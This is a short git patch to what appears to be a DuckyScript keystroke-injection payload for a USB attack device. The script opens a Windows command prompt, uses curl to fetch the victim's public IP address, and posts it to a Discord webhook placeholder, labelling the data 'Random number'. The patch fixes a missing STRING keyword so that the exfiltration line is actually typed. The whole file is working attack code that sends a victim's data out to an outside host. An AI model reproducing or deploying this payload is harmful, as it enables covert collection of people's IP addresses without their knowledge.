From 4de2ee5d15cb393425179a90cb9e3de5f05228bf Mon Sep 17 00:00:00 2001 From: rintyuu Date: Sat, 6 Apr 2024 09:47:10 -0700 Subject: [PATCH] updated discord ip thing --- pull-ip-discord.txt | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pull-ip-discord.txt b/pull-ip-discord.txt index 7280d16..a827793 100644 --- a/pull-ip-discord.txt +++ b/pull-ip-discord.txt @@ -6,10 +6,10 @@ STRING cmd DELAY 500 ENTER DELAY 500 -for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i +STRING for /f "delims=" %i in ('curl ipv4.icanhazip.com') do set IP_ADDR=%i DELAY 500 ENTER DELAY 1000 STRING curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Random number: %IP_ADDR%\"}" YOUR_DISCORD_WEBHOOK_URL DELAY 500 -ENTER \ No newline at end of file +ENTER